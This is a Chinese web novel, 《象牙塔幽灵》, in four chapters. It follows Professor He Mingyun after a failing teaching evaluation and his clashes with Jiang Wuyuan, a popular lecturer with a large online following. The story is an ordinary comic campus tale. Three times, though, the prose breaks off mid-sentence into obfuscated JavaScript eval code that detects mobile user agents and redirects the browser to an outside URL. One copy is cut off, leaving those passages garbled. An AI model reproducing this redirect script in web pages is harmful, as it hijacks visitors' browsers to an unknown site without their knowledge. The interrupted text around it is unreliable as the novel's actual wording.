《象牙塔幽灵》 1. 你的声音 七月上旬,春季学期的末尾。 贺教授连夜批卷,挂了班上一半的学生。 这学期教的本科生笨得出奇、懒得离谱,贺教授上课上得生无可恋。 其他中年男人下班了,在地下车库呆着玩手机,逃避家务;贺教授下课了,窝在办公室熬夜写论文,安抚自己几近破碎的玲珑学者心。 怎么会这样?他望着无边的长夜,陷入沉思,冰洋大学不是国内最好的大学吗?十八岁的年纪不是最好学的时候吗?学生们为什么一上课就犯困,晚上都干嘛去了? 他倒是从来没想到,也需要从自己身上找找原因。 还好,马上放暑假了。 此时贺教授神清气爽,驾车赶往学校,准备最后检查一遍论文,今天就投给《社会学研究》。 哦,还得先去趟院长办公室,约的上午十一点半。 马院长很少叫贺鸣云去办公室,就像老师很少请尖子生家长。他贺鸣云就是这样的天之骄子,带给院长的只有荣誉,从不让院长操心。 贺鸣云猜测,八成是哈佛大学的访问学者名额下来了。 其实他就随手申请了一下而已,没办法,成功人士就是这样,平A就能扫boss,在学术界披荆斩棘、喜讯连连。 ***** 依着惯例,贺教授点开播客,边开车边听。 精英教授风格如此,蹲马桶都不忘深度阅读一篇论文(必须是C刊,最好是英语发表),不能浪费生命中的一分一秒。 贺教授治学严谨,眼里容不得一粒沙子。 学生作业引用不全,杀;学术论文格式不对,杀;就连娱乐性质的播客,也必须做到有依据、有逻辑、有思辨、有深度,贺教授才会勉强一听。 ——现在这档播客《冥思甜想》,就很合他胃口。 主持人汪汪主修社会学,斯坦福大学博士毕业,铁血学院派,说起来还是他校友。 汪汪选题犀利,眼光独到,还拥有强大的人脉,周敏、周雪光、桑德尔这些顶尖学者都做过《冥思甜想》的嘉宾。 上期预告说这期会聊“韩炳哲的‘爱欲之死’与‘倦怠社会’”,贺教授很感兴趣。 贺鸣云最烦韩炳哲这类网红学者,只会哗众取宠、故作高深,收割大众的钱包和注意力。 他倒要听听,学院派精英汪汪,怎么把这个学术骗子喷得体无完肤。 ***** 节目开始,汪汪介绍本期嘉宾: “听众朋友们大家好,本期《冥思甜想》很荣幸邀请到江无远教授。” 谁?贺鸣云趁着红灯在喝茶,没听清。 “江教授是冰洋大学新闻与传播学院的老师,主要研究方向为社交媒体舆论热点、网络新闻传播效应。两年前,江教授开始做自媒体,大受欢迎,目前视频号粉丝已经超两百万。今天我们就和江教授一起,聊一聊韩炳哲和他的哲学观点。” 这回听清了,贺鸣云一个急刹车,纵享加速度10米每秒平方的推背感。 “谁?江无远!?” ——江无远,女,29岁,冰洋大学新闻与传播学院讲师,本学期主讲公共选修课《新媒体导论》《社交媒体创意传播》,研讨课《社交媒体中的优绩主义陷阱和精英叙事偏差》,去年的“最受学生欢迎十佳教师”之一。 毕业院校倒还勉强过得去,也算他半个校友。但其学术成果存疑,反正贺鸣云没在官网简历上看到什么像样的发表。这种人却被学校当个宝捧着,贺教授痛心疾首,大学什么时候成选秀101了? ——简而言之,是贺鸣云看不上的同事。 顺势介绍下贺教授: 贺鸣云,男,34岁,冰洋大学社会学院副教授、博士生导师,本学期主讲本科生必修课《社会调查与研究方法》,研究生专业课《社会统计学》《集体行为与社会运动》,门下带着两名博士生。 ——简而言之,和江无远正相反,精英,学院风,隔壁家小孩,不整那些虚的,每天都在为学术界做贡献。 ***** 贺鸣云没第一时间调台,绝不是对江无远有什么兴趣,纯粹是想听听她要怎么贻笑大方。 汪汪先简单介绍了韩炳哲:“韩炳哲是现在很受关注的哲学学者,著有《倦怠社会》《透明社会》《他者的消失》《爱欲之死》等。和传统学术著作不同,他的书销量和讨论度都非常高。” 江无远补充:“大家听书名就知道,韩炳哲研究的都是社会热点问题:内卷、焦虑、孤独、自我封闭、社交媒体。所以非常容易引人共鸣。” “江教授觉得,除了选题切中要害,在大众传播方面,韩炳哲还有什么突出的优势?” “韩炳哲是哲学家,但他写的东西远超哲学范畴,涉及社会学、心理学、传播学、艺术批评等等,是很典型的跨学科研究成功案例。他把晦涩的西方当代哲学概念,深入浅出揉碎了,融进我们当代的叙事中。简单说,就是会抓热点,接地气。” 贺鸣云冷哼一声。看看,网红就是这样,靠调侃和靓嗓来迷惑受众,其实根本没内涵。 “打个比方,我写《论福柯的“规训社会”》,可能无人问津;但我要写《为什么请了病假,我还是忍不住秒回钉钉消息?》,那妥妥百万阅读量吧?” 贺鸣云又冷哼一声。请假了难道就不管工作了?钉钉消息当然要回啊。 汪汪笑:“《为什么请了病假,我还是忍不住秒回钉钉消息?》,我还挺想拜读的。听说江教授把韩炳哲的书都读了?” 江无远开玩笑:“是啊,学生逼我读的。你猜他们怎么说?他们说老师,知道您不爱看书,这个人的书您一定要读一读,字儿少,跟名言警句大全似的,不难懂。” 汪汪大笑。 贺鸣云冷笑。瞧瞧,贵为大学老师,居然不以为耻反以为荣。冰洋大学真是江河日下。 江无远接着说:“这也是韩炳哲受欢迎的原因之一,他的写作风格降低了阅读门槛。而且他批判‘正能量’、‘优绩主义’,正中年轻人下怀,所以吸引了很多大众读者。” 这话说得倒没错。贺鸣云也捏着鼻子看过一本韩炳哲,与其说是学术论文,不如说是哲学散文。哼,也就是迎合了年轻人的喜好,才这么受欢迎。 汪汪指出:“批评韩炳哲的声音也不少。” 江无远表示同意:“没错,一类是批评他的学术研究手段,韩炳哲的研究偏碎片化,缺乏系统性论证,归因单一;另一类是批评他的悲观主义,他的分析总是集中于问题本身,总结很深刻,但几乎没有任何建设性意见。” “听起来你似乎也不喜欢韩炳哲啊?” 江无远马上澄清:“那没有,我一个名不见经传的小老师,著作还没韩老师一半多呢,岂敢造次?” 两人一起大笑。 江无远正色道:“其实我很尊重韩炳哲的工作。中国政法大学的罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093551|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翔教授,应该有不少朋友知道他吧?网上流传着很多他讲的刑法案例,非常幽默生动。法学界当然也有对他的批评,认为他把严谨复杂的刑法娱乐化、简单化了。” “确实,我们外行看热闹,但法学研究是非常严谨和严肃的。” 江无远反客为主发问:“汪汪觉得,为什么罗翔老师会如此出圈?” “嗯……类似韩炳哲的深入浅出,罗翔用生动的案例和幽默的表达传递法学知识,打破了专业壁垒。” “没错。我补充一点,我们说韩炳哲、罗翔讲的东西简明易懂,其实只是相对于严肃学术而言。在泛娱乐化的环境里,他们已经算是有态度、有深度了。这种平衡和反差具有很强的传播号召力,比如年轻人会觉得,分享罗翔的视频能体现我聪明且心怀正义,读韩炳哲能体现我爱思考、不从众,这是一种社交货币,会在圈子里越传越广。” 汪汪接茬:“你提到罗翔这个案例很好,韩炳哲、罗翔,包括齐泽克,可以说是大众的学术爱豆,怎么说呢……” 汪汪琢磨着措辞,江无远心领神会:“他们的‘人设’都很不错。” 汪汪打了个响指:“对!会立人设,这个很重要。” “韩炳哲是冷峻犀利的思想家,罗翔是幽默谦卑的好老师,齐泽克是口若悬河的叛逆者。数字媒体时代,‘知识网红’的兴起是必然的,要在万千网红里脱颖而出,必须有让大众印象深刻的人设标签。” 汪汪开玩笑:“江老师有两百多万粉丝,也算网红了。你的人设是什么?” 贺鸣云皱了皱眉。聊得好好的,汪汪问这个干嘛? 本来现在“网红”这个词就暗含贬义,在以学术成果论成败的大学圈子里,说一个年轻老师是网红,几乎是指着鼻子阴阳怪气ta了。 他确实是腹诽过江无远这类同事学术成果拿不出手,在电梯里碰见了也懒得跟他们打招呼,怕被传染不学无术的毛病。 但他至少不会面刺他人之过呀。 出乎意料,江无远发出一阵爽朗的笑声: “不敢碰瓷几位大佬。听众朋友们别误会,刚刚聊的几位已经是很会做学术的顶尖人才了,只不过学术圈里神仙打架、各占山头,非要分出个高下,S级上面还有SS级。汪汪也是S级往上的学术大牛,我看你比韩炳哲厉害,你不仅写书,还做播客,而且比他乐观,你是爱与希望的S级。” 汪汪也笑:“捧杀无效啊。” 江无远继续说:“我呢,读博的时候就知道自己对搞学术没兴趣了,我喜欢的就是教书,喜欢和学生、网友们互动。” 汪汪捧场:“江老师稍一发力,已经收获两百万粉丝!” 又是一阵毫不做作的笑声,听得人也身心舒畅。 “没错,所以,我的人设就是‘学术大佬的带路人’。希望我的课能让更多人对新闻学、传播学和社会热点问题感兴趣。两百多万粉丝,总能出两百个学术大牛吧,总能出两百个社会活动家吧?” 汪汪指出:“教出两百个学术大牛,可比自己发表两百篇论文带劲。” 江无远笑着说:“正是。以后为师的墓志铭就写:这里长眠着一位园丁,她精心培育了千万朵花,有玫瑰,有雏菊,也有小野花,千姿百态,各有风韵。在这个花园里,她度过了幸福、圆满的几十年。” 贺鸣云琢磨着她说的,若有所思。 直到被交警拦下。 靠,闯红灯了。 2. 阴沟翻船 贺鸣云驾龄十多年,从来没有过违法记录,他连压线都没压过!今天居然闯了个红灯,还被交警当场教育得支支吾吾。 交警一副难以置信的样子,反复问他“你是冰洋大学的教授?真的?”。 “……真的。” “急着去上课也不能乱来啊,”交警又叮嘱他,“为人师表,要给学生做好表率,遵守交通规则,知道了吧?” “……是,我知道了。” 真是和江无远八字犯冲,一不留神听她胡诌,就破了戒。 贺鸣云黑着张脸,往社会学院院长办公室走。一边走一边在心里念叨“哈佛大学访问学者”,又给自己想美了,不气了。 途径学校礼堂,熙熙攘攘,沸反盈天。 看起来是什么讲座刚结束,乌央乌央的观众正从后门出来。 贺鸣云脚下一顿。 上学期社会学院举办“学术之辩”讲座,学界新星云集,贺鸣云本人也是主讲嘉宾之一。 当时社会学院也想预订这个大礼堂,作为“学术之辩”的举办地。 没想到被行政无情拒绝,理由简单直接:“礼堂使用成本很贵的,我们只承办能赚钱的活动。” 偏偏还就是贺鸣云亲自去预约的,碰了一鼻子灰不说,还被院长那老头批评“不懂变通”“一点儿小事办不好”“就会写论文有什么用”,气得他几晚上没睡好。 都快放假了,天儿有这么热,什么讲座能吸引这么多听众参加? 他倒要看看,今天这个“能赚钱的活动”是什么? ***** 贺鸣云伸长脖子往里瞧,丝毫没意识到他挡在路中间,像一只智商不高的长颈鹿。 “叔叔,麻烦让让,叔叔?” 一个学生模样的女孩拍了拍他,抱歉道:“叔叔,麻烦您让一下,在采访主讲嘉宾,您入镜了。” “哦,好。不好意思。” 贺鸣云退到过道边,缓了两秒才反应过来,刚刚那个学生也就二十岁吧?叫谁叔叔呢?他才三十四! 还采访,什么主讲嘉宾这么金贵啊? 贺鸣云5.2的视力穿透人群,定位在镜头前的嘉宾,江无远,身上。 没错,江无远。 早上播客里那个江无远。 视频号有两百万粉丝的江无远。 他的同事,隔壁新闻与传播学院的江无远。 贺鸣云深吸一口气,扭头不去看镜头前闪闪发光的江无远,试图把“我还没在大礼堂办过讲座呢”的念头抹去。 这一扭头正好望进礼堂,礼堂正前方,巨大的显示屏上红底黄字: 我们为什么躺平? 主讲嘉宾:冰洋大学新闻与传播学院江无远 感谢大家参与! ***** 贺鸣云心里冷笑一声,这就是网红老师的网红研究。 “我们”躺平?这学期他投了4篇C刊,在做1个国家社科基金课题、1个教育部重大攻关项目,辅导出站1个博后,还带着俩不省心的博士生。 ——是“你们”躺平,本人还忙着诲人不倦、精益求精呢。 天之骄子(自说自话)找回了场子,迈着沉稳自信的步伐,远去,远去,叩开马远征的办公室门—— 开门晴天霹雳,只听得马院长怒吼: “贺鸣云!我服了你了!你在搞什么东西?” 贺鸣云张了张嘴,想解释一下正在写的论文、正在做的课题,马院长没给他插嘴的机会: “学生给你打分才三十几!三十几分什么概念?学生评价你全院倒数!我还没拿到全校数据,我估计你也是全校倒数!” 他气得被口水呛到,拿过茶杯喝水。 贺鸣云没插话,他被“全校倒数”这几个字冲击到了,他读书的时候连“全校第二”都没拿过。 马院长喝过水,声音更洪亮了: “你他妈……你不是天天忙着备课不参加应酬?你不是什么‘百人计划’‘千人计划’?你不是什么‘杰出青年学者’?你平时怎么上课的?他妈的搞什么东西,C-!!!” 贺鸣云沉默半晌,问:“学生评分总分是多少?” “一百五!” ***** 一路绿灯、挂人无数的贺教授,现正面临职业生涯首个大危机。 贺鸣云,30岁就被评为博士生导师,冰洋大学破格引进的学界天才,著作已等半身。 (注:他身高一米八八,光脚量的。) 贺鸣云的字典里就没有“失败”“意外”之类的负面词汇。 因此他首先表示怀疑:“真的?” 马院长给他气得七窍生烟:“我专门喊你来,难道还是假的?我吃饱了撑的?你自己看看邮箱!” 他这两天忙着改期末卷子,还真没来得及查看邮箱。 ***** 贺鸣云教授: 您好。您的期末考核评级为C-.教务处友情提示:若连续两年考核评级低于C等,或将触发劳动合同第6.3条“解约情形”。 祝好 ***** 太离奇了,太陌生了。 他一般只会收到三类邮件: 1、恭喜您的论文被某某顶尖核心期刊收录。 2、诚邀您参加某学术会议。 3、贺老师,求您让我过吧!我下学期一定更努力、更认真地学习! C-?怎么可能?他这辈子没拿过A以下的成绩。 他们测评总不是倒序排的吧,其实C-就是A+的意思?类似那个著名的以讹传讹:爱因斯坦数学考了1分。其实在德国学制下,1分就是最高等级。 贺鸣云徐徐抬头,缓缓发问:“C-是个什么档次?” 马院长差点一口血喷他脸上:“什么档次?什么档次!垫底、最差、差劲得不能再差劲、说出去我都没脸做人的档次!” 贺鸣云懵了。 他是真的懵了,懵了的表现却让人更加搓火。 他喃喃道:“怎么会呢?我以前考评都是A等啊。虽然不是A+,但我也勉强接受了,毕竟不是每个人都读得懂我的论文。” 马远征捏了捏鼻梁,闭上了眼。“开学教职工大会,你是不是又没听?” 贺鸣云确实没听,一点营养都没有,他当时在闭目养神。 马院长深吸一口气,告诫自己不能在象牙塔杀生。 ***** “今年学校申请‘教学创新试点工程’,改革了教学测评体系。以前你能拿A,是因为以前主要考核学术论文发表、课题研究成果,让你这个死东西占了便宜。” 死东西一听来劲了:“什么叫我占了便宜?哪篇论文不是我写的?哪个课题不是我做的?去年您有篇论文还是我——” “你给我闭嘴!别东拉西扯的,”马院长瞪他一眼,继续解释,“这学期教学测评体系改革,改革后,学生对老师教学质量的评价占30%,老师的社会影响力占20%,一半都是你最不擅长的,你还不好好琢磨怎么改邪归正!天天就知道埋头写你那破论文。” 贺鸣云不屑一顾:“我的课都是干货。学生不懂,校领导也不懂?” 马院长真想弄死他。女娲捏贺鸣云的时候灵机一动,给他点满了智商,情商是一点儿没舍得放。偏偏臭小子一直呆象牙塔,毕业就进冰洋大学当教授了。没受过社会的毒打,我行我素惯了,一点儿人话听不进,也一点儿人话都不说。 “我早就跟你说过,不懂学术的傻X才能当上校领导。校领导不需要会讲课,不需要懂学术,只需要懂钻营、会来事儿,你懂不懂啊你?” 贺鸣云淡淡道:“您也是校领导。” 马院长差点一口气没上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你都三十五了!三十五!放古代都该入土了!我还要给你擦屁股到什么时候?” 贺鸣云严谨回应:“三十四。” 马院长没辙了,深吸一口气,给出最后通牒:“连续两次拿C以下的评价,你就会失去博导资格,还有可能被解约,被冰洋大学踢出去。听懂了吗?三十四岁的脑子总该发育完全了吧?” 贺鸣云死猪不怕开水烫,无所谓道:“又不是只有冰洋大学一所大学,大不了我换一家。” 马远征猜到他会这样,他就是知道贺鸣云是这副死样子,当年才会心软招了他。 贺鸣云和他年轻时候一模一样,不知天高地厚,不懂学界潜规则,心高气傲,满腔热忱,直到那热情被这套吃人的体系浇灭。 ***** 马院长平静道:“贺鸣云,我老了,经不起折腾了。你要想看我被其他院长指指点点,说老马带出个被开除的得意门生,想让我被气得脑溢血死翘翘,那你就接着横吧。” “……我哪里横了,”贺鸣云不自在地挪了挪屁股,低声转移话题,“那,谁是考评第一?” “听说是新传的江无远。” 贺鸣云的眼皮猛地跳了一下。 马远征没发现他的异常,继续唠叨:“你也跟人家学学,江老师论文是没你发得多,但结果怎么样呢?好钢花在刀刃上,受学生欢迎,受社会欢迎,省里各种培训班都邀请她去讲课,这才叫社会影响力,这就是冰洋大学现在需要的老师。” 贺鸣云嘟囔:“你也知道她论文不多啊。” 马远征吼:“给我听重点!下学期开始,你就要向江老师学习,把你那破PPT给我都改成人话,少写点字,多放点图片和视频。讲课有意思点,没事也跟学生开开玩笑,期末打分手松点。听到没有?” 贺鸣云还在嘟囔:“这不就是让我上水课吗?” “什么叫水课?哦,学生听不懂的课就不水了是吧?你上的水泥课就好了是吧?噎死学生就是你本事了是吧?” 贺鸣云脖子一梗:“江无远上的那种就叫水课。一点内涵没有,就是蹭热点、哗众取宠。‘我们为什么躺平’,嚯!乍一看还以为是高中生日记。这算什么大学老师?这算什么学者?” 咔哒一声,办公室门被轻轻推开。 3. 隔墙有耳 马远征和贺鸣云都愣了下。 曾经这间办公室门庭若市。马远征略懂茶道,又爱吃中式点心,下午时分总有老师、学生来坐坐,就茶畅聊天南地北。 马远征中风之后,这里变得日渐安静。访客变少之后,他才注意到办公室时钟的咔哒声,像在为他的职业生涯倒计时。 现在,冰洋大学最受欢迎的新星老师江无远,笑意盈盈走了进来。她对待马远征的态度一如既往,没有什么变化,让马远征颇觉熨帖。 “马院长,敲了半天门,您没应。我看门半开着,怕出了什么意外,就进来了,失礼了。” 江无远好像才看到贺鸣云似的,又说:“不好意思啊,我是不是打扰您和贺教授了?” 贺鸣云冷哼一声,装,装什么装?他一米八八呢,这么大只,她肯定一进门就看到他了。 马远征高兴死了。刚跟只猴子掰扯了半天,终于来了个懂事的,能不高兴嘛。 “不打扰不打扰,江老师,赶紧进来,请坐。” 江无远一坐下,院长办公室蓬荜生辉。 她很自然地忽略了一米八八贺鸣云,递给马远征一叠薄薄的材料,又把一盒点心放在桌上。 “院长,这是我家自己做的绿豆饼,一点儿糖没放,很健康,您吃吃看。表格是徐院长让我带给您的,下学期学院合作培养计划的备选课程名单,要麻烦您看看是否合适。” 马院长感觉像痛饮了两碗丝瓜汤,气瞬间消了不少。 贺鸣云本来心情就不好,看到“考评第一”粉墨登场、上来就拍他领导马屁,更是七窍生烟。忍不住阴阳道:“江老师人缘真不错,跟社会学院关系也这么好。” 马远征气得差点撅过去,一脚踢在贺鸣云小腿上。 贺鸣云毫不掩饰他的不满:“您踢我干嘛啊?绿豆饼就那么好吃?” 他能不能立刻清理门户、大义灭亲啊!? 和他这位甲亢弟子不同,江无远总是很淡定、很优雅、很温柔。 她微笑着说:“不知道贺教授也在这里,不然我也给您带一份。要不等会儿您跟我回趟办公室,我办公室冰箱里还有。” 贺鸣云不自在地别开脸:“我不吃,不爱吃这些甜不拉几的。” 江无远点点头:“也是,听说贺教授连学生送的花都不收,还凶人家,说‘别想拿花贿赂我,该挂科还得挂’,把小姑娘都气哭了。” 马远征还是第一次听说这事,问:“真的?还有学生给他送花?” 江无远一笑:“其实是教师节礼物啦,学校给的经费,可惜某些教授自我感觉良好,以为是学生在行贿要分呢。” 马远征白了贺鸣云一眼。贺鸣云脸上青一阵紫一阵,尴尬得说不出话。 马远征叹了口气:“我这徒弟情商是堪忧,不过人不坏,学问也做得好,要是能像江老师这么会讲课……” 他停住了,就在那电光火石一瞬间,马远征福至心灵。 ***** 老话怎么说来着,不怕聪明人犯懒,就怕笨人灵机一动。 马远征福至心灵,突发奇想道:“咱们人文社科本来就是一家人,你们一个讲《社交媒体创意传播》,一个讲《社会统计学》,都有个‘社’字,多巧啊,很搭嘛!” 哪里搭了?江无远和贺鸣云都愣了愣,无语地看着马远征。 还真别说,俊男美女,这两张脸还有点儿夫妻相。 马远征越说越兴奋:“你俩一起做课题、一起备课,正好江老师能多发论文,贺鸣云能学习讲课技巧,双赢啊!win-win!” 贺鸣云感觉有被羞辱到,板着脸,用沉默表示抗议。 江无远也面露难色:“院长,可惜我才疏学浅,只会蹭热点、哗众取宠,上的都是水课,实在爱莫能助啊。” 她说得马院长都替贺鸣云脸红,这个狗东西竟然还镇定自若,坐在江老师对面,事不关己高高挂起。 狗东西还要火上浇油:“我跟江老师的学术兴趣和研究领域八竿子打不着,没法合作。” 马院长内心尖叫:你个蠢货!赶紧给江老师磕一个,兴许她还帮帮你! 江无远同情地看了马远征一眼,表情凝重得仿佛在替他默哀,脸上明晃晃写着四个大字:师门不幸。 “马院长,我就是期末了来看看您,没什么事儿。那您和贺教授先聊,我就不打扰了。” 她站起身,还礼貌地朝马院长欠了欠身。对比之下,更显得贺鸣云这个狗崽子粗俗无礼、目中无人、罪该万死。 “江老师慢走,贺鸣云社会化程度低,你别往心里去啊,”马远征说这又白了贺鸣云一眼,“咱们学院离得近,以后多来往,一起喝喝咖啡吃吃饭,让贺鸣云请客。” 江无远觉得晦气,连连摆手。“不至于不至于,谁不知道贺教授人品端正、心直口快?” 她朝贺鸣云凑近了点,笑得甜甜的。 “贺教授,虽然您对我有偏见,但我可是久仰您大名。都是同事,以后有机会一起喝杯咖啡,不要不赏脸哦。” 贺鸣云不自在地往里挪了挪。她笑什么笑?喝什么咖啡? 她凑得更近了。 贺鸣云更不自在了,江无远喷的什么香水啊?熏得他晕乎乎的。 “那后会有期哦,贺教授。” 江无远面带微笑,在马院长的视觉盲区,狠狠踩了贺鸣云一脚,翩然而去。 她穿的六厘米细高跟鞋,鞋跟超硬的。 ***** 马远征注意到,江无远一走,贺鸣云的脸立马就黑了几个度。 知逆子莫若老师,马远征心领神会。 果然爱美之心人皆有之,贺鸣云这个二缺也不例外,更何况是江老师这种又漂亮又有才的杰出女性。 更何况他俩还是同行,还是同校,还在隔壁学院,真是缘分千里一线牵。 马远征立刻开始助攻:“诶,我记得新闻学院这学期结课晚,江老师应该还有课。” 贺鸣云大脚趾罹患甲沟炎,刚刚被江无远一踩,痛得要命,没好气道:“新闻学院关你什么事?” 马远征积极主动:“我去要张课表,你去旁听学习下,好好学学人江老师怎么调动学生兴趣、怎么把知识点讲得深入浅出的。” 贺鸣云干脆利落:“我不去。” 马远征自说自话:“下课了正好跟江老师喝杯咖啡,啊不,清江老师吃个饭吧。刚好学期结束了比较空,请江老师帮忙,改改你那破课件,指导指导你怎么上课。” “还吃饭?我才不去。我会上课。” 马远征把自个儿给说美了:“对、对,就这么办,多接触,多学习,多往来,多暧昧。” 贺鸣云懒得听老头废话。“我是副教授,她是讲师,我学她上课?” 老头懒得理他,眉飞色舞的:“我听说江老师还是单身,长得这么漂亮,性格这么好,还这么会讲课、这么受学生欢迎、这么会赚钱,你好好表现,争取事业爱情一起丰收。” 贺鸣云觉得脚越来越痛了。“你耳朵聋啊?我说我不去!” 一老一少四目相对。 马远征缓缓道:“我确实,耳朵不好了。” 贺鸣云心里暗叫不好,又来了,煽情大舞台,脸皮够厚你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093553|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来。 “贺鸣云,我老了,经不起折腾了。你要想看我被其他院长指指点点,说老马带出个被开除的得意门生,想让我被气得脑溢血死翘翘,那就算了,你不用去听课,不用去求人,不用谈恋爱。” 贺鸣云蔫了。 以前他才不吃这套,马远征演技奇差,拿捏不住他。 可是好死不死,这老头说中风就中风,中风后身体大不如前。今年二月他跟老头看春晚,老头居然十点多就在沙发上睡着了。马远征以前可是半夜三点都在搓麻将的钢铁之躯啊。 贺鸣云开始怕了,别一个不小心,真把老头给气死了。 他只敢小声嘟囔,以示微弱抗议:“……你这台词都不带改的,道德绑架。” 马远征怒目圆睁:“你到底去不去?” “去……我去,我去行了吧……”贺鸣云勉为其难应下了,“不过我也就去听听课。谈恋爱你就别管我了,我没功夫谈。实在要谈,也得跟我志同道合的人谈,跟这种网红美女老师说不到一块儿去。” 马远征白了贺鸣云一眼。“我管你跟谁谈,反正你去听课,然后请江老师喝杯咖啡!” 贺鸣云看着他,欲言又止。 “有屁快放!” 贺鸣云窝囊道:“……那你拿两张星巴克的卡给我,我知道你受贿了不少。” 马远征吹胡子瞪眼,从抽屉里摸出几张星巴克储值卡,拍在贺鸣云脸上。 贺鸣云麻利收好,卖乖道:“别气了,我下学期保证C以上,行了吧?来,吃点绿豆饼消消气。” “什么C以上!你自我要求高点!你起码给我拿个B+,听到没?” “是、是,听到了,我又不聋。” ***** 马远征看着贺鸣云笨手笨脚在那儿拆绿豆饼,叹了口气。 前两年他突发中风,还好送医及时,恢复得不错。可惜经此意外,他彻底告别了副校长的竞争,要在院长这个位置上养老了。 如果他当时如愿当上副校长,考核就会是另一套体系,他一定会想方设法,扶贺鸣云坐上院长之位。 贺鸣云无心仕途,就爱窝着做他的破研究。马远征从没见过这么有天赋、这么坐得住的年轻学者,也从没见过这么不懂人情世故、不知变通、不善言辞的大笨蛋。 你都身处这个系统里了,还想无视其中的潜规则,那不等着被人暗算么? 他倒宁愿贺鸣云的学术成果没这么突出,要是贺鸣云没这么擅长学术,那视他为眼中钉、想收拾他的人还不会这么多。 在高校,你只能走两条路: 一条是忍辱负重往上爬,要么拼命卷自己、要么拍马屁,这样你才能在大学里站住,成为个“人物”; 另一条是及时止损,早点跑路,离开这个养蛊吃人的小圈子,天高任鸟飞,海阔凭鱼跃。 可贺鸣云两条都不走,他想挺直腰杆在这里搞学术。这可能吗?他只担心徒弟最后活得不人不鬼,变成被打入冷宫的象牙塔幽灵。 马远征又叹了口气,伸手去拿绿豆饼。 被贺鸣云打了下手背。 “先擦手,”他摸出张酒精湿巾,给老爷子擦手,“一把年纪了,不讲卫生,手上多少细菌。别以为我不知道,你尿了都不擦的。” 又开始碎碎念:“江无远家里做的?小家庭作坊,有没有食品安全证书啊?有没有戴着口罩和手套做啊?” 天啊,先操心操心你那考核评级吧!马远征只觉得笨蛋徒弟的前途一片灰暗,绝望地闭上了眼。 求求老天爷开眼,给蠢蛋一条活路,来个神仙渡渡他吧! 4. 不速之客 江老师心花怒放、脚步轻快。 这是她本学期的最后一节课,马上就放暑假了。 今年到处讲课,又有自媒体分成,赚了不少钱。有事业有闺蜜有乖学生,还能比现在更人生赢家吗? ——在看到教室最后一排的晦气玩意儿前,江无远还是这么想的。 “老登!不对,中登!” 贺鸣云疑惑地望着她,显然没有意识到,他在某些场合是“年少成名”,在另一些场合,却是“未老先登”。 江无远自然地改口:“贺教授,你好。真巧,您在这儿忙什么呢?眼睛没看见这里面坐满了学生吗?” 贺鸣云西装笔挺——老天,这可是七月份,外面三十八度五——还拿了个笔记本——不是笔记本电脑,就是要拿笔在上面写字的那种笔记本,还是他们学校免费发的——活像来听课打分的杂种领导。 贺鸣云的本意:我就随便听听,别让我打扰你正常上课,你上你的课,不用在意我。 贺鸣云实际说的:“上你的课,别管我。” 江无远奇了怪了,这是哪个短剧穿越来的二百五霸道总裁啊? 学生也注意到了格格不入的贺大教授,议论纷纷: “这不是隔壁那个期末杀手贺教授吗?” “他来干嘛?听课学习?” “得了吧,他学什么啊,肯定是来接江老师下班的呗。” “对哦,看他穿那样,西装兜里包有求婚戒指的。” “喔哟,那我们要不要录视频啊?” 年轻人就是中气足,暗中八卦声音也这么大,听得江无远怒火中烧,好不晦气。 贺鸣云耳朵聋,眼睛也瞎,丝毫看不懂眼色,还好意提醒她:“江老师,上课铃响了。” 江无远深吸一口气。 算了,她运作自媒体两年多,遇到过不少黑粉,区区贺鸣云算什么东西。 江老师徐徐吐出一口气,阔步走上讲台。 “同学们,今天是我们研讨课的最后一节课了。” “不要啊!”“天塌了!”“江老师不要走!” 装什么呢?贺鸣云见多了学生要分的手段,为了加五分,学生都能忍着恶心跟他说“贺老师我知道您很关心学生”“贺老师其实我真的很喜欢您的课”,看不惯这群演技派。 江无远笑笑,接着说:“今天我们来玩一个游戏。大家应该注意到了,助教已经对教室进行了改造,教室后门是起点,我所在的讲台是终点,大家要从起点开始,沿着桌上的编号前进,最后走到我面前。” 学生们兴趣高涨,七嘴八舌。 江无远继续介绍规则:“同学们应该都玩过大富翁吧?大富翁是掷骰子前进,我们的游戏是抽卡牌前进。大家看大屏幕,屏幕上是一个抽签系统,你将随机抽出一系列卡牌,按照卡牌指示前进,走到对应的桌子面前。明白了吗?” 贺鸣云说实话,不明白。他打小就只爱看书和写作业,不爱玩游戏。 幸好江无远贴心表示:“请助教先来玩一次,给大家打个样。” 学生们立刻挤到最后几排,近距离观摩助教演练。 这是幼儿园吗?贺鸣云非常嫌弃,往角落缩了缩。 方溯站到后门起点,摁下抽签按钮。 大屏幕上跳出一行字:“前进五步。” 方溯前进五步,大屏幕又跳出一行字: “你今年五岁,父母在外地打工。爷爷奶奶忙于照顾你的两个哥哥,没发现你高烧了两天,导致你的中枢神经受损,一只眼睛失明。” 方溯的脸马上皱成一团。 江无远暗自好笑,这个游戏的每条故事线都是她带着之前教的学生写的,没想到方溯率先抽到天崩开局。 “小溯,失明了也要坚强地活下去哦,继续。” 方溯摁下抽签按钮。 “前进三步。” “你今年八岁,终于有班主任愿意接收残疾学生,你上了乡镇小学的一年级。” 